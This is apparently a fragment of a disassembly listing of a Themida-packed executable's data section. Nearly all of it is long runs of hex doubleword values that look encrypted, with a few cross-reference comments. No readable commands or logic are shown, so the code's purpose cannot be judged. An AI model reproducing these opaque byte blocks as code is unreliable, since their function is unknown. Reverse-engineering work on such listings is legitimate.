832C1D2Bh dd 71CAB453h, 1FB60664h, 5376h, 0EE9E00h, 439CB08Fh, 511D07DAh dd 0F48A820Ah, 98821D4Bh, 120A290h, 784B47A3h, 710C39E2h dd 35A26E87h, 62439CE1h, 5CF729D2h, 0D7321CB5h, 0F255D849h dd 0C83927E1h, 13439C97h, 0AC89D740h, 50C853Dh, 4EEF7927h dd 0AACA0B64h, 0D2101FB6h, 74000000h, 0C269FC2Ch, 0BE598B34h dd 93947E17h, 971EC560h, 0B73AD067h, 0F4BF144Fh, 6D0834E0h dd 0D74836CCh, 2249A3B2h, 0C54C654Fh, 50E11495h, 902E1AAFh dd 3449A3AEh, 0C9568304h, 0BE5F009Bh, 0B3528229h, 0A9D57E0Ch dd 0E4CE670Eh, 0AB4139C1h, 0A2BF83BDh, 0B64B1E47h, 0D76D65EDh dd 0B4517E27h, 0F0D784CAh, 0CFA24194h, 0C45D9039h, 0BC55882Fh dd 7F401CE6h, 0E8FBEF0h, 0AD0h, 760BAADBh, 6F04A3CFh, 6AFF9AC8h dd 64F994C3h, 62F78ABDh, 0C1F4AFC7h, 0C7F49B30h, 0C0F2992Eh dd 0B9E99025h, 4EBC891Eh, 974CEF60h, 51233A43h, 16877525h dd 6149A3F2h, 70A3A48Eh, 63963FD5h, 7C1DB8E4h, 832ABDEDh dd 52F900EAh, 40EE8322h, 0DF917FBDh, 705A06CCh, 8A820AA4h dd 0E55644F4h, 3049A3F1h, 7D6B735Dh, 47A2FFFBh, 9D386526h dd 15BC5DF6h, 9CDFDC49h, 54ED2043h, 5BFA26ADh, 66012DB4h dd 0FD39079Ah, 0EC1EC757h, 0A146F59h, 0B5D311C4h, 0C8CB1Fh dd 252F0000h, 26F222A2h, 6DD68D3Ah, 9D33D153h, 0E6E7D14Ah dd 0EA781FB6h, 47A38767h, 4F3945DDh, 0E38A1B4Eh, 0A3AF7917h dd 78661649h, 49A3AE07h, 94957F52h, 18B7E364h, 0A237D871h dd 852CCBFBh, 0C65C54DCh, 0AEB72816h, 2F0249A3h, 154F3D45h dd 0B047A2C0h, 0F77F48DDh, 8FAB1C0Ah, 23F6439Ch, 2ACB6694h dd 0F49EA694h, 14D54194h, 0CA54CE5h, 0F92CD56Bh, 9B04D7Ah dd 933ACF70h, 1BEFC560h, 9FF07F5Ch, 9AEEF70h, 88B90000h dd 85B158EDh, 80AE55EAh, 7AA950E5h, 70A34ADFh, 8DA540D5h dd 71069FD2h, 6B009DCAh, 6AFF92C4h, 5FF493C3h, 0C5362492h dd 1043974Ch, 0F92C27F9h, 39FF11A0h, 0ED8E2064h, 0E681B158h dd 0FC2CDF51h, 0B3BC269h, 860ED76Ch, 100AF88Eh, 2B47A309h dd 0F69D386Ah, 8715BC5Dh, 0D878E9D7h, 0F0C3439Ch, 0D852C006h dd 9C7F439Ch, 0D6894C92h, 47531FB5h, 7B000006h, 9ADFC8F8h dd 8D26CD68h, 0EBCE2324h, 820A3501h, 2671F48Ah, 0F95A901Dh dd 0D54634CAh, 2049A3A8h, 6D5B634Dh, 47A2AD37h, 50EF1BC4h dd 2C2610A9h, 7424B259h, 9C9C1586h, 0A38D6043h, 9C9BF05Dh dd 0EC3A1D43h, 0B611EBEAh, 5F8F11Fh, 0A550000h, 6F48A82h dd 47A2F6E4h, 4915BC8Fh, 439CE6DCh, 0D6182609h, 1FB5C7FFh dd 5D9DDh, 67550500h, 439CEDF6h, 0B8846E41h, 0F67EC03Eh dd 0D07A68FEh, 8B47A2F8h, 0BA6331B8h, 0BE04EE87h, 0C7A9CEF8h dd 740A028Ah, 86B8AC86h, 0DA06C7B5h, 5AFB943Bh, 0B52614C4h dd 1FB180B8h, 0FC8765C7h, 0FFD25A99h, 0CB53FC15h, 66943DD3h dd 0A89624CBh, 0B1800737h, 7F0EAF82h, 760FB651h, 4A96848Ch dd 3AF7EFEh, 0BAE0D280h, 912776E7h, 780232A3h, 0C0AA7DABh dd 39BD2BC6h, 0F2993463h, 687FF059h, 0C8780EAFh, 0AE55F01Fh dd 0FA2A2B15h, 56077866h, 7F52AB78h, 42C548DEh, 6F90C4D1h dd 70DAA000h, 1DD5507h, 1A84572h, 0D0777E68h, 0A12F05A0h dd 99624515h, 812E96Ah, 0EC1D0000h, 0F11DC459h, 0EC1AC156h dd 0E615BC51h, 0DC0FB64Bh, 119B449h, 0ED821346h, 0E77C1946h dd 0DE730E40h, 0DB700737h, 41B2A00Eh, 8C43974Ah, 0FC2CA375h dd 0EAF4E7Bh, 4A3CF78h, 0C1DAC45Dh, 77AA9018h, 24A73DDEh dd 60EA0F6Ah, 0BEC6B09Eh, 974921D0h, 8015E847h, 97481794h dd 0F7862943h, 0D29B30C7h, 0D3C1574Bh, 4397486Ah, 0A42BD2A5h dd 38C1F374h, 3BD1720Bh, 9748DC4Dh, 0B3542743h, 48D5321Eh dd 49F24397h, 0C831B71Ah, 630EAB95h, 0A5D7D8C2h, 1FCF7D12h dd 977CC031h, 9E0FFD43h, 0E943977Ch, 0D1BB8E16h, 5E05A0D0h dd 0FE2C2592h, 0FB4580B9h, 0F58A1D4Dh, 66991E4Eh, 0B7832ACBh dd 43979C4Ah, 1604B4AAh, 43977CA5h, 931BB6E9h, 0AD7BD6C0h dd 1FB45383h, 0FF9AC871h, 0DAD5BF58h, 120h, 9E396B14h dd 0FC2CE8B4h, 93BC269h, 8AFBC76Eh, 0CE49A3F2h, 0B760079Eh dd 0E92C6F2Fh, 0BCB77692h, 0B354F590h, 0A3802F1Dh, 89394796h dd 96A32A9Bh, 82B47543h, 6A644EEFh, 1D05C197h, 0B6E5FA63h dd 6EB35h, 30C5F600h, 2DC8F49Bh, 28C3F198h, 24BDEC93h dd 1CB5E88Fh, 19D4EC87h, 0FB64BE6h, 7AE43E2h, 6AD42D5h dd 0DDAA3FD6h, 4910816Fh, 445B4397h, 69FC2C72h, 5FFE2AD3h dd 0A2D55C75h, 0DBC9790Fh, 49A3F26Ah, 8EFFEDB5h, 0D949A3F2h dd 0AAD66506h, 0E1CB640Bh, 660133DAh, 66FA2AD1h, 0A3F20778h dd 0E97F5249h, 0A3F28AFBh, 6102D549h, 5FF225CCh, 4F812AB8h db 0B4h, 0CAh word_59716A dw 96C9h ; DATA XREF: Themida_:0053F6B8o dd 3DA354FBh, 0E2CC6594h, 5C8FB987h, 0A03534C9h, 3A19AEC0h dd 7, 81329Eh, 25A80000h, 27B64F7Ch, 70715BFAh, 32FEA540h dd 49A402C5h, 0DD52DC25h, 0C46B0634h, 1040412Bh, 739E075h dd 8BF9C56Ch, 6549A3E2h, 3877FC7Fh, 10D7A6D7h, 0D37DCB26h dd 52EB18A1h, 0DB7112ABh, 0C36A0332h, 0C739402Ah, 0C067FA2Ch dd 0BF5A8932h, 94957F18h, 7728CF62h, 94C670BEh, 1D806C01h dd 4D49A3FAh, 47E0871Ah, 0C417BFA6h, 0BBC319AEh, 27FFFFFEh dd 0C4ADA225h, 7FFF8F99h, 2E49A95h, 2C100000h, 2AD369FCh dd 58715BFAh, 0A3F22F8Ch, 5B53349h, 0A3F2A617h, 341EF149h dd 0B1E14FD9h, 0AADA8116h, 53D6640Bh, 526EAD08h, 0CE14FE20h dd 49A39D71h, 2BD26595h, 6C02FA82h, 96F9CF7Eh, 0EDC39647h dd 0FA62ABF3h, 890F90BFh, 94000005h, 963DD263h, 8F36CB6Ah dd 8A31C661h, 862DC25Bh, 922DC253h, 0F98CBF7Ah, 0F590BD64h dd 0EC87B960h, 0E580B057h, 27158350h, 439748B6h, 2C18EA01h dd 3BC269FCh, 2AD86D08h, 0F21B8C7Ah, 0CB6649A3h, 4BB97A4Dh dd 0F8E283D8h, 9B30C7F7h, 8930C1F4h, 872652FBh, 10699C9Dh dd 89BC807Ah, 4FB851F8h, 9D3E52D0h, 828C45F6h, 3BD06194h dd 0AEC8993Ch, 2204319h, 0AA70000h, 1CE88F83h, 0BEF9A455h dd 0BB3D0BEEh, 189DBB1Ah, 209C0h, 830A2400h, 0A049F98Fh dd 942DD46Dh, 0F1F364AAh, 7D3E49A3h, 3408F24Dh, 0CED6A670h dd 4CED862Dh, 9512D9A5h, 0C8ABBEF9h, 0F220C97Eh, 2D17B057h dd 9DCA01D4h, 1D0DB18h, 53030000h, 0B4EBF465h, 36C3F4Ah dd 0C1450B41h, 632F198Ah, 0B34E7C25h, 2B1FA6C9h, 0CEFB1295h dd 2F13FF5Bh, 0EA4F3D45h, 2549A3E5h, 6D1DAB52h, 0A3E50E7Fh dd 0F0865949h, 0A3E59102h, 1F09DC49h, 0F99712D9h, 0F895C2BEh dd 0FE97CA51h, 51DFB057h, 0C24C2FD5h, 9DC7D9FCh, 1740318h dd 0A670000h, 49F98F83h, 835F03C6h, 11A0D56Eh, 39C43DEh dd 446AD319h, 0D2A549A3h, 0F5985F2Bh, 4E31BEF8h, 68D7FEC0h dd 48F1189Eh, 0A1957F1Ah, 142h, 19A22505h, 0AFE33D31h dd 1040412Bh, 1747CE75h, 9A22EB80h, 0B35C0CA2h, 0AA43EA85h dd 32D07AC0h, 0CD7D47A2h, 9C026EDFh, 50E6B943h, 9C01F162h dd 7F693C43h, 3F0BB285h, 439C02D2h, 0CC121CFFh, 1FB6AC09h dd 25D3h, 820A3700h, 9B44F48Ah, 0A0E6D06Fh, 47A3011Eh dd 3CF7649h, 439CE196h, 9056E0C3h, 1FB5D145h, 0A197h, 0FC2CFB00h dd 8B34C269h, 6DDECC5Ch, 0B849A3F2h, 82B544E5h, 0C5AF48EFh dd 590091C4h, 5C03A2D2h, 7D12A5D5h, 0A3EDF391h, 0E2679749h dd 0EB7219B4h, 0DF8021BCh, 1F9814Ah, 0E412BB6Bh, 8F195F49h dd 0CA479C52h, 1D50D909h, 0AC42E384h, 0A035D003h, 552BC6F9h dd 0FA67E2A5h, 69AD2E5Dh, 74000003h, 761DB243h, 6F16AB4Ah dd 6A11A641h, 660DA23Bh, 720DA233h, 0D96C9F5Ah, 0D5709D44h dd 0CC679940h, 0C5609037h, 7F56330h, 43974696h, 25F8CAE1h dd 10B74A7Ch, 598C8D77h, 7112ABDAh, 720535DCh, 0FC2C6BDDh dd 6F99E7A1h, 0CF70F0C6h, 0D671A128h, 0BEEA9341h, 0BEF1781Fh dd 42E37C23h, 0AEA41258h, 3EC649A3h, 0BB16DB7Eh, 0B95A6014h dd 0FDE33523h, 0DBAE47A1h, 0FC2CD446h, 0BAC4B7Bh, 1AADDD64h dd 3C34BC85h, 1573F6A6h, 81B881DEh, 8C42CCA2h, 9C3DD6D5h dd 5A44DF0Dh, 0A2DC6A14h, 0BC522547h, 9530630Ch, 108155EEh dd 5B439CABh, 0B9859E88h, 439CAB4Ch, 23CA6390h, 31D8699Ch dd 0AF6FB98Ah, 27182609h, 12B94C7Eh, 9F368F79h, 3D1FB603h dd 33h, 8A820AA1h, 18406F4h, 0F8A147A3h, 0F18A31CCh, 933A0D07h dd 9CE15AC7h, 0D4719E43h, 0DE77A62Dh, 43CD8637h, 0EC3A1DC3h dd 0B5D0EBEAh, 0ECF11Fh, 25550000h, 78F14C7Ch, 5DB6E246h dd 9A249EAh, 57EE1E1Fh, 5BF629B0h, 6AFD2DB4h, 790C3CC3h dd 6F0E3AE3h, 0AF1F67C8h, 0D971ADAFh, 0D71FCF38h, 0F5ECA9BFh dd 7A18040Bh, 1E49A398h, 18C157EEh, 12AB52EBh, 4A7A2128h dd 0D35B04ABh, 0EC9545DBh, 710436BDh, 0A69029D0h, 0A2777260h dd 55EABD47h, 0EE1E048Ch, 7020B657h, 52E517C0h, 9C670D7Eh dd 0F6855843h, 0FD432DC8h, 4194C96Dh, 9B4BE1B4h, 0B98CFDEBh dd 4D73D92h, 4BE6191Ah, 81DC0FB6h, 749CFDBAh, 25FB9C2Ah dd 0F07FC99Fh, 0C173F423h, 0CC000001h, 0CE750A9Bh, 0C76E03A2h dd 0C269FE99h, 0BE65FA93h, 0CA65FA8Bh, 31C4F7B2h, 2DC8F59Ch dd 24BFF198h, 1DB8E88Fh, 5F4DBB88h, 439743EEh, 2C502239h dd 29D268F9h, 0AC4574FDh, 731A210Bh, 0F83ADC43h, 0A503699Ah dd 0B152E316h, 820AAA1Ch, 6E71F48Ah, 59BFD865h, 4DFD05EFh dd 0F6E071A4h, 0A2D62EB0h, 6C84B47h, 1F2A8648h, 8C9203F1h dd 0ADD439Ch, 0B2857F69h, 8CD23F0Bh, 6FFF439Ch, 980194C6h dd 1D5A99F2h, 4CA791C8h, 7CD9FCC2h, 0C7031FB6h, 67000000h dd 0C269FC2Ch, 0C66D083Bh, 0A3EE5CFAh, 35D00049h, 2EC9F9A0h dd 5E56DE87h, 0BF445C8h, 11F99756h, 49D44DFh, 0C1717963h dd 8AB22311h, 2AFD49A3h, 6B0CFA40h, 845747A2h, 0A69E26EFh dd 0A2356710h, 5700B0B8h, 62A89225h, 4194C0BDh, 5F0FA578h dd 92B00071h, 8E784B3Dh, 17AADD86h, 45A8DB82h, 5C98E49h dd 0D6AC4D02h, 0F07F21C6h, 0B944C5F4h, 0C4000000h, 0C66D0293h dd 0BF66FB9Ah, 0BA61F691h, 0B65DF28Bh, 0C25DF283h, 29BCEFAAh dd 25C0ED94h, 1CB7E990h, 15B0E087h, 5745B380h, 439742E6h dd 2C481A31h, 4FD268F9h, 7221BABDh, 0E10D9CDDh, 1C069F46h dd 92BE6715h, 24B34CF3h, 1CB55CF5h, 66013132h, 0FC2C5FD1h dd 0B3BC269h, 860ED76Ch, 2CD36EA0h, 6E5CF293h, 47974EC3h dd 8910B78Ah, 8229BE59h, 6D1DB352h, 974E0E7Fh, 9C865943h dd 8983B783h, 43D62E8Dh, 7C1B4BF5h, 801040E7h, 89082192h dd 0F8996CD8h, 29BCA51h, 99A7F05Bh, 53E87FAFh, 158C22A5h dd 76DF76A6h, 5640CA18h, 0EB922555h, 36Ah, 7C5EE000h, 0C36AFB2Ch dd 0D2790C3Ch, 0D77E194Bh, 0E38A2350h, 0F198295Ch, 0F79E376Ah dd 1A84170h, 0AB14C7Ah, 11B85783h, 37176867h, 34890000h dd 715E6824h, 2C890000h, 0E2895224h, 4C281h, 0EA830000h dd 24148704h, 2434895Ch, 4621B850h, 3E35565Dh, 895051E2h dd 24048BC5h, 4C481h, 8B540000h, 0C4812434h, 4, 683468h dd 242C8900h, 0FF08468Fh, 835E2434h, 34FF04C4h, 0C4835D24h dd 0CCDDE904h, 67EEFFFAh, 7663E2A8h, 46B8E376h, 3060CB0h dd 93E0FFC5h, 1579D21Ch, 0B0DA807h, 0EB496153h, 2Dh, 0AE0DD000h dd 0F2319CBFh, 0A5ADF9DFh, 528C88A7h, 0B7FB75h, 0ADF99CBEh dd 89937EE5h, 8168009Dh, 0BD146726h, 1C3D03B2h, 9FE90B7Eh dd 6800000Ah, 60CB1E6h, 0FACC82E9h, 0B30668FFh, 78E9060Ch dd 68FFFACCh, 60CB406h, 0FACC6EE9h, 0B4A368FFh, 64E9060Ch dd 68FFFACCh, 60CB597h, 0FACC5AE9h, 0B6A768FFh, 50E9060Ch dd 68FFFACCh, 60CB75Ah, 0FACC46E9h, 0B92C68FFh, 3CE9060Ch dd 68FFFACCh, 60CBA41h, 0FACC32E9h, 0CA9DAFFh, 9A4D077h dd 49FCD74h, 99C86Fh, 91C46Bh, 0FDB8D06Bh, 0FBA237CAh dd 0F39A2FCEh, 0EA9126C1h, 0B9861BBAh, 40EC5D4Bh, 20374397h dd 8A820A4Eh, 623606F4h, 2AFD4797h, 1CBBEB94h, 14AFDD86h dd 4C7C232Ah, 0E16912B9h, 0C26553E9h, 79418AB0h, 376710A6h dd 34640BA0h dd 0C36CFAA1h, 0A6170595h, 0F13D8A90h, 75D67D1Eh, 4986B524h dd 7A640502h, 41D7CF57h, 8F32A391h, 0AA7D3D8Ah, 1CCAB8C0h dd 0E73B898Eh, 3A8B3E14h, 406FEE4Eh, 90DBFh, 80154600h dd 7D1844EBh, 781341E8h, 740D3CE3h, 6C0538DFh, 69243CD7h dd 5F069B36h, 57FE9332h, 56FD9225h, 2DFA8F26h, 4160D1BFh dd 94AB4397h, 69FC2CC2h, 5E8B34C2h, 6506A1D1h, 3A3B25BEh dd 28D66B0Ah, 0CB3527Fh, 0DE668973h, 0B86250E6h, 7347A307h dd 0C02DF9A0h, 0ED439CD7h, 1BBA3C0Ah, 0C11FB5D7h, 37h dd 8A820A25h, 6C9B44F4h, 1FA1E7D1h, 4A47A301h, 9704D077h dd 0C4439CE1h, 5FE257E1h, 5E55E6F1h, 95EED80Bh, 1FB63840h dd 0CE9Ah, 993FC200h, 6DB2FD26h, 2CA6725Ch, 3BC269FCh dd 3FC66D08h, 4AD1780Fh, 38E67B1Ah, 7DAB48B5h, 0A3CE1E8Fh dd 2D966949h, 25512E17h, 0A94AE38Ah, 47BF79BFh, 235349A3h dd 1545EE84h, 0E3919882h, 0C76E073Ah, 1343442Eh, 9C24CD74h dd 0DB5E0EA4h, 4B399400h, 49A329DAh, 92E95225h, 0CC12FC13h dd 47A2F692h, 0FCC55A2Dh, 0F8E67C74h, 4195284Bh, 84F17B16h dd 0B0068655h, 9DD0790Fh, 95C86F04h, 208926FCh, 231F07Eh dd 7ED81h, 60F52600h, 5DF824CBh, 58F321C8h, 54ED1CC3h dd 4CE518BFh, 49041CB7h, 3FE67B16h, 37DE7312h, 36DD7205h dd 0DDA6F06h, 3F40B19Fh, 748B4397h, 68F92CA2h, 61A44FD2h dd 0CBEF834Ah, 333DAE1h, 0A5DCF64h, 6F48A82h, 47A30184h dd 6935DCAFh, 439CE0FCh, 0C2F09929h, 0FDE78027h, 835294A2h dd 591FB5D1h, 0F3h, 0FAAD881h, 9EA45A6h, 37212DF1h, 69FC2C6Bh dd 6D083BC2h, 66FF2ED7h, 233C26BFh, 0A3EE9D57h, 66013149h dd 5BFA2AD1h, 0DA6E42C5h, 7A1E3FDAh, 0A3EB1B8Ch, 0F2936649h dd 0BE46EF08h, 81AD30C6h, 5A51E12Eh, 630AA5D3h, 373F29CAh dd 0A27C0F49h, 790FAA47h, 0E5A6DD24h, 9ADB87F0h, 89A3056Bh dd 7BA952E8h, 0B6A039E0h, 665EE6AFh, 7FDAE2D0h, 3E114194h dd 5A48F8A8h, 3D926EE9h, 76776134h, 761DB243h, 0B9BBEA43h dd 755D998Bh, 0C8E7FED4h, 0D403F07Fh, 6ED53h, 60F52600h dd 5DF824CBh, 58F321C8h, 54ED1CC3h, 4CE518BFh, 49041CB7h dd 3FE67B16h, 37DE7312h, 36DD7205h, 0DDA6F06h, 3E40B19Fh dd 748B4397h, 73F92CA2h, 0A3F21485h, 90295849h, 2DC850E9h dd 22ABFA4Bh, 0AA4BECF9h, 0B93E6E15h, 0AE47EE89h, 66B92A18h dd 310449A3h, 2C89FB90h, 158674FCh, 5949A3F2h, 34078F2Ah dd 3565EC93h, 0B4210DA2h, 0D649A3F2h, 0D2C0564Eh, 47976238h dd 0C16A00D3h, 0BA61F691h, 9B44EB8Ah, 97851B13h, 41965745h dd 54673D10h, 66F07D93h, 650B637h, 58890000h, 558128BDh dd 507E25BAh, 4A7920B5h, 40731AAFh, 5D7510A5h, 41D66FA2h dd 3BD06D9Ah, 3ACF6294h, 2FC46393h, 9506F462h, 0E043973Eh dd 0FC2CF7C9h, 0B134C269h, 4A6B6E0Bh, 0D9DAC474h, 0E0670EA9h dd 0EB7219B4h, 0CA7B22BDh, 0EC190711h, 3EF7B051h, 8A1646F0h dd 4418B3E1h, 49A311D3h, 0A74EE917h, 0D0BE860Eh, 49A3115Fh dd 9536D7AAh, 0A0D40100h, 130619AFh, 6A000000h, 1BB32h dd 97C36C00h, 963DD80Ah, 1CB55CFDh, 7AE76632h, 0B749A3F2h dd 0F8695707h, 4349A3F1h, 0F22B9C70h, 416F49A3h, 614B1EA6h dd 39F6B63Eh, 251B2DF0h, 5C0CA243h, 944DBEACh, 9C8A49A3h dd 49A3942Bh, 481BA376h, 47D185Eh, 51244797h, 43E212BBh dd 3DD804ADh, 0F59E4C53h, 44452FC2h, 31DA8114h, 2D1BB1A9h dd 4195F9DBh, 9CFDD3A6h, 0E6F07A76h, 55C36B7h, 64950000h dd 69953CD1h, 649239CEh, 5E8D34C9h, 54872EC3h, 79912CC1h dd 65FA8BBEh, 5FF491BEh, 56EB86B8h, 53E87FAFh, 0B92A1886h dd 443973Dh, 0FC2C1BEDh, 0B3BC269h, 5B14C56Ch, 0A63363CDh dd 31C4F473h, 0AC5AEF90h, 9138D703h, 20B50EF8h, 0BA19AEC0h dd 14h, 4C7C251Eh, 0C43523B9h, 0F49A3F2h, 0DD57523Ch, 0CD000000h dd 0F48A820Ah, 35A69444h, 7949A3F2h, 710AB14Ch, 0E62C16E9h dd 47976216h, 5CF926CFh, 67FE2EB5h, 1D8627C0h, 0AD3D281Dh dd 110BF5AEh, 0CFFFA83Eh, 0FA3F9270h, 0D475B1B9h, 0CD68983Fh dd 0FDF57D26h, 6AE6E467h, 0FF1B9C66h, 97A2A011h, 7718EB43h dd 2CD5858Dh, 24BD64FDh, 0D67070BBh, 9A84A40Ch, 8AC9B154h dd 0FF956841h, 0FA8F2656h, 0B0BC2353h, 70F53006h, 2CD57C1Dh dd 248DE4A4h, 48C01E3Dh, 938E11A7h, 279886FFh, 723D8A81h dd 9DA6369Fh, 0F2E0E8D2h, 3B891D44h, 21663C0Fh, 99EE4E89h dd 44CE96Ah, 54850000h, 59852CC1h, 548229BEh, 4E7D24B9h dd 44771EB3h, 69811CB1h, 55EA7BAEh, 4FE481AEh, 46DB76A8h dd 43D86F9Fh, 0A91A0876h, 0F443973Ch, 1C320BDDh, 0A8000001h dd 0F48A820Ah, 97623606h, 8535FD47h, 97412697h, 0CA9E7143h dd 43974159h, 9A30D1A4h, 9026C1F1h, 7920B7E7h, 48EFF6E0h dd 37E77D18h, 9741D849h, 0CF882343h, 5475B731h, 0FD1600A1h dd 3ED4CC54h, 8A9AAD50h, 0FB916441h, 0EE832252h, 0D9801747h dd 0DE72A24Bh, 8A7A7FF0h, 56F7CA3Dh, 0C9C1496Ch, 30008333h dd 5040184Dh, 12C006F0h, 0DD3B894Dh, 0F9F9340Ah, 1A49EE4Eh dd 39999h, 4A1D200h, 19CC86Fh, 0FC97C56Ch, 0F891C067h dd 0F889BC63h, 0F5B0C863h, 0F39A2FC2h, 0EB9227C6h, 0E2891EB9h dd 0B17E13B2h, 3BE45543h, 182F4397h, 69FC2C46h, 5BFA2AD3h dd 0A1D15871h, 0F5AE5F06h, 3ACDFD2Bh, 0D774F7A5h, 0B506B78Ch dd 0E8ED4630h, 0F219AEEDh, 47h, 8A820A56h, 347571F4h, 4591CDD5h dd 9165535Bh, 0A847A243h, 68963FD5h, 0DE4C38CDh, 22439BB3h dd 3ABD53F2h, 9779D40Dh, 0E6EDD7FFh, 0CF76113Fh, 96C9841h dd 0B38DB1FDh, 2BBA5B76h, 1CB55CFBh, 2FC3732h, 2CAD0000h dd 32C067FAh, 0D8C25D89h, 7B10A7D7h, 6A11A4D4h, 7F14B3E3h dd 0A0362EB6h, 8930C7F7h, 10FE06F0h, 47A30866h, 0DBA74E21h dd 439CD76Eh, 0F880B9Bh, 443677F0h, 8D9BF6E0h, 0B5F98A4Bh dd 4B501Fh, 0AB40000h, 6F48A82h, 47A30184h, 6935DCAFh dd 439CE0FCh, 0CE751040h, 0EAB51847h, 0F64E5C69h, 0CA8E35D6h dd 3065E937h, 0D4EA2BEh, 987B21C2h, 388D488Eh, 923B1FB6h dd 8821C865h, 0FFAA9Eh, 22D20000h, 9C7EC334h, 513B0E43h dd 69FC2C85h, 0DB8434C2h, 0C8390DA8h, 0C49A3F2h, 0EEC149DCh dd 35D00304h, 3B3A1C9Fh, 16D0D1Ah, 4777FE17h, 528209B0h dd 42741DB3h, 856F08AFh, 67D8927Eh, 3C6C49A3h, 0F89013A9h dd 6D083A90h, 0F61E1E04h, 2E5E050Ch, 0BF47F097h, 0FE8131C7h dd 0AC9AD2C7h, 49A3463Bh, 464AB386h, 6F48AD7h, 49A3EA95h dd 0DD230DE0h, 47A2CAEFh, 21D1673Ah, 9CBBC233h, 0AB3A0D43h dd 0EDF4DE79h, 0CD68963Fh, 80A38D26h, 47E612F8h, 0D06607A0h dd 951D52E2h, 30C69941h, 2CC15487h, 0E9BF5285h, 0F07EBA8Eh dd 0C75CDD0Ch, 1, 0FAA136CFh, 0F39A2FCEh, 0EE952AC5h, 0EA9126BFh dd 0EE891EB7h, 4DE81BD6h, 49E411B8h, 48DB0DB4h, 49DC0CB3h dd 8B79E7B4h, 4397391Ah, 2C7C4E65h, 0AE477AF9h, 9CCE770Dh dd 0F2B52614h, 2D0049A3h, 624CE58Ch, 384B45Bh, 29738D7h dd 0C2820A90h, 0A1FD0099h, 9228C916h, 0A29522A4h, 63963F47h dd 0A8922BD2h, 6834DBAEh, 439C74FBh, 0C0EF9828h, 0FBE57E25h dd 0F8A196A0h, 0F28B32CBh, 3D26AF08h dd 0C6B41FB6h, 18000000h, 0C269FC2Ch, 0C25D8B34h, 9798821Bh dd 9C2AD164h, 0F28DFEECh, 5D849A3h, 0EF1BD51Bh, 7FAF49A3h dd 7CAC53E8h, 882FCEFBh, 0FEA74EEFh, 38E87E76h, 0A3EED94Ah dd 67512449h, 7CFFAF5Fh, 168F450Fh, 0BB2C008Dh, 649A2FCh dd 0DB7C1745h, 0DCBDABF1h, 350847A1h, 44C3F69Fh, 38DF8011h dd 0E5AEB59Fh, 0E1CF655Dh, 4194323Ch, 7A1340E9h, 56503AD3h dd 1144ED83h, 0E41EA80h, 4933CC73h, 0CD689B42h, 7F8EB2F7h dd 981948F0h, 0B2h, 861BBAEBh, 7F14B3DFh, 7A0FAAD8h, 7409A4D3h dd 72079ACDh, 0D104BFD7h, 0D704AB40h, 0D002A93Eh, 0C9F9A035h dd 5ECC992Eh, 9737FF70h, 61334A43h, 0D368F92Ch, 0D469FC2Ch dd 69FC2C62h, 5E8B34C2h, 0A4D4D5BFh, 0B158F723h, 19E27718h dd 15039991h, 4797624Dh, 38A3104h, 0F89F34D3h, 0BA862DC8h dd 48889A20h, 0E55AE477h, 0CC730E3Ch, 18484933h, 913AE87Dh dd 8821C863h, 0DA6D9D9Eh, 0E47DAC33h, 0BF89D23Dh, 4ED16191h dd 48F4C954h, 0AB1CF06Ch, 0F636246Ch, 0C76E0935h, 57EC8D2Eh dd 3EE580B0h, 0DBDh, 5947F700h, 36246BE8h, 0AA766033h dd 0FB2C7C5Eh, 0C3CC36Ah, 194BD279h, 2350D77Eh, 295CE38Ah dd 376AF198h, 4170F79Eh, 4C7A01A8h, 57830AB1h, 686711B8h dd 101Bh, 68243C89h, 770Bh, 68240489h, 6F5Fh, 68241489h dd 60CB152h, 8324048Bh, 0EC8304C4h, 24248904h, 4240483h dd 0C789575Ah, 242C8157h, 45EA6916h, 8108428Fh, 69160842h dd 8B5F45EAh, 89512414h, 4C181E1h, 83000000h, 0C8704C1h dd 48B5C24h, 0E0895024h, 405h, 40500h, 4870000h, 0FCE95C24h dd 5BFFFAC1h, 0A6730C9h, 5A02C8DBh, 0D9EF3989h, 18B8A99Bh dd 3060CBBh, 0E2E0FFC5h, 9854510Ch, 71261107h, 0F5607670h dd 270C7619h, 101612DFh, 1948745Eh, 0C34A0970h, 580E2427h dd 913FEAFAh, 4A4835D0h, 0FD738206h, 0F6706F2Ah, 2E56C4E6h dd 8624C875h, 0AC1CCD85h, 8D0DCDA7h, 0CBC978Dh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 860FCBh, 81000000h, 0FF3D1FDBh, 0D98D8943h, 6A06071Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 8B71C351h, 72D8DB5h, 1D85C706h, 88060710h dd 8B000063h, 723999Dh, 585C706h, 60733h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0FC3C350h, 68Bh, 0F1B58B00h, 0FF060729h, 72039B5h, 319D8906h dd 0FF060711h, 7185995h, 0B19D8906h, 6A060703h, 6995FF00h dd 8B06070Dh, 2A4FEBC0h, 5F2F7590h, 69586BA7h, 0C642971Ah dd 4E378950h, 8A0632C1h, 35B9243h, 0ED0A49D4h, 4CDE608Fh dd 2809FDAFh, 5CC5CE72h, 0F3F70EBAh, 0A1E2D6Dh, 0B90A5D3Ch dd 10CD1DBh, 2F7F4C0Eh, 288F2539h, 0CC8B7F08h, 510994h dd 99186C6Dh, 0C8E90535h, 88000001h, 7 dup(88004188h) dd 4188h, 4 dup(0) dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h dd 888888h, 0 dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h dd 3C98802h, 88001002h, 88001188h, 11888888h, 44111111h dd 16h, 880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h dd 88080888h, 888888h, 0 dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h dword_5985A8 dd 88888888h, 26088888h, 643E362Eh, 0F0676665h, 0F3F2h ; DATA XREF: Themida_:0053CD24o dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0 dd 1000000h, 14h dup(0) dd 0C3000000h, 77ED6380h, 1000075h, 11h dup(0) dd 0E9000000h, 353h, 0E855h, 815D0000h, 0CBEC3EDh, 85C76006h dd 60CBE10h, 0 dd 663E8166h, 0F850FA1h, 0C7000000h, 0CBE1485h, 606h, 24E900h dd 858D0000h, 60CBE18h, 68858D50h, 50060CBEh, 0E8006A56h dd 1Dh, 